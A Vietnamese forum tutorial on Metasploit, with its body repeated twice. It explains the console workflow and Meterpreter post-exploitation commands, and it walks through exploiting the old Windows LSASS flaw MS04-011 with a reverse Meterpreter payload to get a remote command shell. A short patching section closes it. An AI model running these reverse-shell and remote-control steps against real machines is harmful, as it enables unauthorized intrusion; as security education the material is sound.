Metasploit - Công cụ khai thác lỗ hổng
Trang 1 trong tổng số 1 trang
Metasploit - Công cụ khai thác lỗ hổng
METASPLOIT
1) Giới thiệu
Metasploit
Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác lỗi
của các service. Metasploit được xây dựng từ
ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C,
assembler, và Python.Metasploit có thể chạy trên hầu hết các hệ điều
hành: Linux, Windows, MacOS. Bạn có thể download chương trình tại www.metasploit.com
Metasploit
có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script
msfupdate.bat trong thư mục cài đặt
2)Các thành phần của Metasploit
Metasploit
hỗ trợ nhiều giao diện với người dùng:
-console interface: dùng
msfconsole.bat. Msfconsole interface sử dụng các
dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
-Web interface: dùng msfweb.bat,
giao tiếp với người dùng thông qua giao diện web
-Command line interface: dùng
msfcli.bat
Enviroment
Global Enviroment:được
thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở
đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits
Temporary Enviroment: được
thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa
vào module exploit đang load hiện tại, không ảnh hưởng đến các module
exploit khác
Bạn
có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi
trường đó sẽ được lưu trong /.msf/config và sẽ
được load trở lại khi user interface được thực hiện
Những options nào mà chung giữa các exploits module
như là: LPORT, LHOST, PAYLOAD thì bạn nên được xác định ở Global
Enviroment
vd: msf> setg LPORT 80
msf> setg LHOST
172.16.8.2
3)Sử dụng Metasploit framework
1. Chọn module exploit: lựa chọn chương
trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác
show exploits: xem các module exploit mà framework có hỗ
trợ
use exploit_name: chọn
module exploit
info
exploit_name: xem thông tin về module exploit
Bạn nên cập
nhật thường xuyên các lỗi dịch vụ trên www.metasploit.com hoặc qua script msfupdate.bat
2. Cấu hình module exploit đã chọn
show options:
Xác định những options nào cần cấu hình
set : cấu hình
cho những option của module đó
Một vài module còn có những
advanced options, bạn có thể xem bằng cách gõ dòng lệnh show
advanceds
3. Verify những options vừa cấu hình:
check: kiểm tra
xem những option đã được set chính xác chưa.
4. Lựa chọn target: lựa chọn hệ diều hành
nào để thực hiện
show targets:
những target được cung cấp bởi module đó
set: xác định
target nào
vd: smf> use
windows_ssl_pct
show
targets
exploit sẽ liệt kê ra những
target như: winxp, winxp SP1, win2000, win2000 SP1
5. Lựa chọn payload
payload là đoạn code mà sẽ chạy
trên hệ thống remote machine
show payloads:
liệt kê ra những payload của module exploit hiện tại
info payload_name:
xem thông tin chi tiết về payload đó
set PAYLOAD
payload_name: xác định payload module name.Sau khi lựa chọn payload
nào, dùng lệnh show options để xem những options của payload đó
show advanced:
xem những advanced options của payload đó
6.Thực thi exploit
exploit: lệnh
dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những
thông tin về hệ thống được khai thác
4.Giới thiệu payload meterpreter
Meterpreter,
viết tắt từ Meta-Interpreter là một advanced payload có trong
Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để
khai thác, tấn câng các máy remote computers. Nó được viết từ các
developers dưới dạng shared object( DLL) files. Meterpreter và các thành
phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên
đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống virus
Meterpreter
cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote
computers
Fs: cho phép upload và download files từ các remote
machine
Net: cho phép xem thông tin mạng của remote
machine như IP, route table
Process:cho phép tạo các
processes mới trên remote machine
Sys: cho phép xem thông
tin hệ thống của remote machine
Sử dụng
câu lệnh
use -m
module1,module2,module3 [ -p path ] [ -d ]
Câu
lệnh use dùng để load những module mở rộng của meterpreter như: Fs,
Net, Process..
loadlib -f library [ -t target ] [ -lde ]
Câu lệnh cho phép
load các thư viện của remote machines
read channel_id [length]
Lệnh read cho phép
xem dữ liêu của remote machine trên channel đang kết nối
write channel_id
Lệnh write cho phép
ghi dữ liệu lên remote machine
close channel_id
Đóng channel mà đã
kết nối với remote computer
interact channel_id
Bắt đầu một phiên
làm việc với channel vừa thiết lập với remote machine
initcrypt cipher
[parameters]
Mã hoá dữ liệu được
gửi giữa host và remote machine
Sử dụng module Fs: cho phép upload và download files từ
các remote machine
cd directory
giống lệnh cd của
commandline
getcwd
cho biết thư mục
đang làm việc hiện tại
ls [filter_string]
liệt kê các thư mục và tập tin
upload src1 [src2 ...] dst
upload file
download src1 [src2 ...] dst
download file
Sử dụng module Net:
ipconfig
route
xem bảng định tuyến của remote machine
portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p
rport ] [ -P ]
cho phép tạo port forward giữa host và
remote machine
Sử dụng module Process:
execute -f file [ -a args ] [
-Hc ]
câu lệnh execute cho phép bạn tạo ra
một process mới trên remote machine và sử dụng process đó để khai thác
dữ liệu
kill pid1 pid2 pid3
huỷ những
processes đang chạy trên máy remote machine
ps
liệt kê những
process của remote machine
Sử dụng module Sys:
getuid
cho biết username
hiện tại của remote machine
sysinfo
cho
biết thông tin về computername, OS
5)Ví dụ:
Máy localhost có địa chỉ 192.168.1.1 sẽ tấn công máy
remote có địa chỉ 192.168.1.2 thông qua lỗi Lsass_ms04_011. Đây là lỗi
tràn stack trong dịch vụ LSA( Local Security Authority).Lsass.exe là một
process của hệ thống Microsoft Windows, chịu trách nhiệm về chứng thực
local security, quản lý Active Directory và các
chính sách login. Lsass kiểm sóat việc chứng thực của cả client và
server.
Msf>use
Lsass_ms04_011
Msf>set
PAYLOAD win32_reverse_meterpreter
Msf>set RHOST
192.168.1.2
Msf>set LHOST
192.168.1.1
Msf>exploit
Meterpreter>
help
Meterpreter>use -m Process //add thêm tập lệnh của process
Meterpreter>help // xem các lệnh
meterpreter hỗ trợ
Meterpreter>ps // list các
process mà remote machine đang chạy
Meterpreter>kill // tắt các
process mà remote machine đang chạy
Meterpreter> execute -f cmd –c //
tấn công sử dụng comandline cmd của remote machine
execute: success, process id is 3516.
execute: allocated channel 1 for new
process.
meterpreter>
interact 1
interact: Switching to interactive console on 1...
interact:
Started interactive channel 1.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS>echo Meterpreter interactive channel
in action
echo Meterpreter interactive channel in action
Meterpreter interactive channel in action
C:\WINDOWS>ipconfig
Caught Ctrl-C,
close interactive session? [y/N] y
meterpreter>
6)Cách phòng chống
Thường
xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit
không thể khai thác được lỗi Lsass_ms04_011, bạn phải cập nhật bản vá
lỗi của Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng,
có trên hầu hết tất cả các hệ điều hành windows. Bạn nên sử dụng hotfix
có number là 835732 để vá lỗi trên.
http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx
1) Giới thiệu
Metasploit
Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác lỗi
của các service. Metasploit được xây dựng từ
ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C,
assembler, và Python.Metasploit có thể chạy trên hầu hết các hệ điều
hành: Linux, Windows, MacOS. Bạn có thể download chương trình tại www.metasploit.com
Metasploit
có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script
msfupdate.bat trong thư mục cài đặt
2)Các thành phần của Metasploit
Metasploit
hỗ trợ nhiều giao diện với người dùng:
-console interface: dùng
msfconsole.bat. Msfconsole interface sử dụng các
dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
-Web interface: dùng msfweb.bat,
giao tiếp với người dùng thông qua giao diện web
-Command line interface: dùng
msfcli.bat
Enviroment
Global Enviroment:được
thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở
đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits
Temporary Enviroment: được
thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa
vào module exploit đang load hiện tại, không ảnh hưởng đến các module
exploit khác
Bạn
có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi
trường đó sẽ được lưu trong /.msf/config và sẽ
được load trở lại khi user interface được thực hiện
Những options nào mà chung giữa các exploits module
như là: LPORT, LHOST, PAYLOAD thì bạn nên được xác định ở Global
Enviroment
vd: msf> setg LPORT 80
msf> setg LHOST
172.16.8.2
3)Sử dụng Metasploit framework
1. Chọn module exploit: lựa chọn chương
trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác
show exploits: xem các module exploit mà framework có hỗ
trợ
use exploit_name: chọn
module exploit
info
exploit_name: xem thông tin về module exploit
Bạn nên cập
nhật thường xuyên các lỗi dịch vụ trên www.metasploit.com hoặc qua script msfupdate.bat
2. Cấu hình module exploit đã chọn
show options:
Xác định những options nào cần cấu hình
set : cấu hình
cho những option của module đó
Một vài module còn có những
advanced options, bạn có thể xem bằng cách gõ dòng lệnh show
advanceds
3. Verify những options vừa cấu hình:
check: kiểm tra
xem những option đã được set chính xác chưa.
4. Lựa chọn target: lựa chọn hệ diều hành
nào để thực hiện
show targets:
những target được cung cấp bởi module đó
set: xác định
target nào
vd: smf> use
windows_ssl_pct
show
targets
exploit sẽ liệt kê ra những
target như: winxp, winxp SP1, win2000, win2000 SP1
5. Lựa chọn payload
payload là đoạn code mà sẽ chạy
trên hệ thống remote machine
show payloads:
liệt kê ra những payload của module exploit hiện tại
info payload_name:
xem thông tin chi tiết về payload đó
set PAYLOAD
payload_name: xác định payload module name.Sau khi lựa chọn payload
nào, dùng lệnh show options để xem những options của payload đó
show advanced:
xem những advanced options của payload đó
6.Thực thi exploit
exploit: lệnh
dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những
thông tin về hệ thống được khai thác
4.Giới thiệu payload meterpreter
Meterpreter,
viết tắt từ Meta-Interpreter là một advanced payload có trong
Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để
khai thác, tấn câng các máy remote computers. Nó được viết từ các
developers dưới dạng shared object( DLL) files. Meterpreter và các thành
phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên
đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống virus
Meterpreter
cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote
computers
Fs: cho phép upload và download files từ các remote
machine
Net: cho phép xem thông tin mạng của remote
machine như IP, route table
Process:cho phép tạo các
processes mới trên remote machine
Sys: cho phép xem thông
tin hệ thống của remote machine
Sử dụng
câu lệnh
use -m
module1,module2,module3 [ -p path ] [ -d ]
Câu
lệnh use dùng để load những module mở rộng của meterpreter như: Fs,
Net, Process..
loadlib -f library [ -t target ] [ -lde ]
Câu lệnh cho phép
load các thư viện của remote machines
read channel_id [length]
Lệnh read cho phép
xem dữ liêu của remote machine trên channel đang kết nối
write channel_id
Lệnh write cho phép
ghi dữ liệu lên remote machine
close channel_id
Đóng channel mà đã
kết nối với remote computer
interact channel_id
Bắt đầu một phiên
làm việc với channel vừa thiết lập với remote machine
initcrypt cipher
[parameters]
Mã hoá dữ liệu được
gửi giữa host và remote machine
Sử dụng module Fs: cho phép upload và download files từ
các remote machine
cd directory
giống lệnh cd của
commandline
getcwd
cho biết thư mục
đang làm việc hiện tại
ls [filter_string]
liệt kê các thư mục và tập tin
upload src1 [src2 ...] dst
upload file
download src1 [src2 ...] dst
download file
Sử dụng module Net:
ipconfig
route
xem bảng định tuyến của remote machine
portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p
rport ] [ -P ]
cho phép tạo port forward giữa host và
remote machine
Sử dụng module Process:
execute -f file [ -a args ] [
-Hc ]
câu lệnh execute cho phép bạn tạo ra
một process mới trên remote machine và sử dụng process đó để khai thác
dữ liệu
kill pid1 pid2 pid3
huỷ những
processes đang chạy trên máy remote machine
ps
liệt kê những
process của remote machine
Sử dụng module Sys:
getuid
cho biết username
hiện tại của remote machine
sysinfo
cho
biết thông tin về computername, OS
5)Ví dụ:
Máy localhost có địa chỉ 192.168.1.1 sẽ tấn công máy
remote có địa chỉ 192.168.1.2 thông qua lỗi Lsass_ms04_011. Đây là lỗi
tràn stack trong dịch vụ LSA( Local Security Authority).Lsass.exe là một
process của hệ thống Microsoft Windows, chịu trách nhiệm về chứng thực
local security, quản lý Active Directory và các
chính sách login. Lsass kiểm sóat việc chứng thực của cả client và
server.
Msf>use
Lsass_ms04_011
Msf>set
PAYLOAD win32_reverse_meterpreter
Msf>set RHOST
192.168.1.2
Msf>set LHOST
192.168.1.1
Msf>exploit
Meterpreter>
help
Meterpreter>use -m Process //add thêm tập lệnh của process
Meterpreter>help // xem các lệnh
meterpreter hỗ trợ
Meterpreter>ps // list các
process mà remote machine đang chạy
Meterpreter>kill // tắt các
process mà remote machine đang chạy
Meterpreter> execute -f cmd –c //
tấn công sử dụng comandline cmd của remote machine
execute: success, process id is 3516.
execute: allocated channel 1 for new
process.
meterpreter>
interact 1
interact: Switching to interactive console on 1...
interact:
Started interactive channel 1.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS>echo Meterpreter interactive channel
in action
echo Meterpreter interactive channel in action
Meterpreter interactive channel in action
C:\WINDOWS>ipconfig
Caught Ctrl-C,
close interactive session? [y/N] y
meterpreter>
6)Cách phòng chống
Thường
xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit
không thể khai thác được lỗi Lsass_ms04_011, bạn phải cập nhật bản vá
lỗi của Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng,
có trên hầu hết tất cả các hệ điều hành windows. Bạn nên sử dụng hotfix
có number là 835732 để vá lỗi trên.
http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx
Similar topics
» Hướng dẫn khai thác SQL Injection đối với MySQL
» Khai thác lỗi của DNS Server
» Khai thác lỗi tràn bộ đệm.
» Khai thác qua Hidden Input
» Khai thác cơ chế System Restore
» Khai thác lỗi của DNS Server
» Khai thác lỗi tràn bộ đệm.
» Khai thác qua Hidden Input
» Khai thác cơ chế System Restore
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
27/8/2013, 11:45 am by echcondihoc
» Quản Lí Tiến Trình Dùng Thư Viện PSAPI
11/10/2011, 9:42 pm by CNTT_DH
» xin tai lieu tieng viet
31/8/2011, 6:59 am by bantoisg
» Theo dõi tiến trình
27/8/2011, 5:51 pm by haigaopro01
» Giải pháp Bảo mật của Cisco
17/6/2011, 8:50 am by admin
» Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS (Phần 1)
16/6/2011, 2:32 pm by admin
» Learn to hack !
16/6/2011, 8:49 am by admin
» Giải pháp hệ thống dành cho doanh nghiệp với thiết bị mạng Fortinet (Phần 1)
15/6/2011, 11:12 am by admin
» Ô Long Viên (Tập II)
27/9/2010, 4:56 pm by root
» những ebook về hack tiếng việt cho người mới tìm hiểu.
27/9/2010, 4:54 pm by root